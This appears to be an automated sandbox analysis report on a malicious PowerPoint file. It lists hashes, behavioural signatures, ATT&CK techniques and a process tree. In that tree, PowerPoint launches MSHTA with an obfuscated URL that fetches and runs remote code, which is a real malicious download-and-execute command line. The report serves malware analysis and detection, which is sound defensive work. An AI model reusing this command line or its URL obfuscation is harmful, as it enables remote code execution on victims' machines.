Overview

overview

10

Static

static

8

sample.ppt

windows7_x64

1

sample.ppt

windows10_x64

10

Analysis

  • max time kernel
    135s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-03-2021 10:05

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General

  • Target

    sample.ppt

  • Size

    224KB

  • MD5

    887fae5b37ce87fa027dfcc8ceea77d4

  • SHA1

    4483e5d6307f0e6e9f6193afba280d1d43d7b271

  • SHA256

    0fddb5b02497d530f81a3904594febfe7e8d39240639a54360b596e531cd91aa

  • SHA512

    910053abe92868e581dc0857db7fc1fefd9331cd3487404b5373a9513ad4b0bffd203d686baf26e01f14451f13254f77d4ca5ad1db3b04fb9e74f800a0388422

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 12 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\sample.ppt" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:496
    • C:\Windows\SYSTEM32\MSHTA.exe
      MSHTA http://12384928198391823%[email protected]/dokdwkkwkdwkxxxdcjczxckjdkwk
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetWindowsHookEx
      PID:3880
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 3880 -s 2576
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2272
    • C:\Windows\SYSTEM32\ping.exe
      ping
      2⤵
      • Process spawned unexpected child process
      • Runs ping.exe
      PID:1280
    • C:\Program Files\Microsoft Office\Root\Office16\winword.exe
      winword
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:1584
    • C:\Windows\SYSTEM32\ping.exe
      ping 127.0.0.1
      2⤵
      • Process spawned unexpected child process
      • Runs ping.exe
      PID:1020

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Remote System Discovery

1
T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868
    MD5

    41d01362da050fd46f40390a22c8881f

    SHA1

    9a6db863accd707975765738d773e95494d08818

    SHA256

    dfd39cdd424c7dc4604c046b7411693dcee08e8bdbb909883dc9fd9044be8127

    SHA512

    c1cb15a0ffeda40d87f99f89cc19e255bf23f33b96693e608ba3af03d1a3522cded4fe295df2044a3c23831bd2c23707923969e1faaa408c0df9d2dc35e1fe96

    Download Submit
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868
    MD5

    6ef98152d47866f041702d2ad1a2e661

    SHA1

    1da43a87609adc0b5e84f869cd0e82162b0d8557

    SHA256

    02bb1070ab13df047333fe69fccea11d5dfeca093bc209ef0a1259200c060b58

    SHA512

    cc81b4d600b7bf93c5836e4f110490edf3854ecfbb76e5846387093a06a53a3c91c08300181e7a8405606c0dd3796ade6f25cb60da985d14f5334342bc0a37d6

    Download Submit
  • memory/496-18-0x00007FF7E5FB0000-0x00007FF7E5FC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/496-19-0x00007FF7E5FB0000-0x00007FF7E5FC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/496-6-0x00007FF807370000-0x00007FF8079A7000-memory.dmp
    Filesize

    6.2MB

    Download
  • memory/496-3-0x00007FF7E5FB0000-0x00007FF7E5FC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/496-5-0x00007FF7E5FB0000-0x00007FF7E5FC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/496-4-0x00007FF7E5FB0000-0x00007FF7E5FC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/496-21-0x00007FF7E5FB0000-0x00007FF7E5FC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/496-20-0x00007FF7E5FB0000-0x00007FF7E5FC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/496-17-0x00007FF807C00000-0x00007FF8097DD000-memory.dmp
    Filesize

    27.9MB

    Download
  • memory/496-2-0x00007FF7E5FB0000-0x00007FF7E5FC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1020-16-0x0000000000000000-mapping.dmp
    Download
  • memory/1280-8-0x0000000000000000-mapping.dmp
    Download
  • memory/1584-14-0x00007FF807370000-0x00007FF8079A7000-memory.dmp
    Filesize

    6.2MB

    Download
  • memory/1584-9-0x0000000000000000-mapping.dmp
    Download
  • memory/2272-15-0x000001AD40660000-0x000001AD40661000-memory.dmp
    Filesize

    4KB

    Download
  • memory/3880-7-0x0000000000000000-mapping.dmp
    Download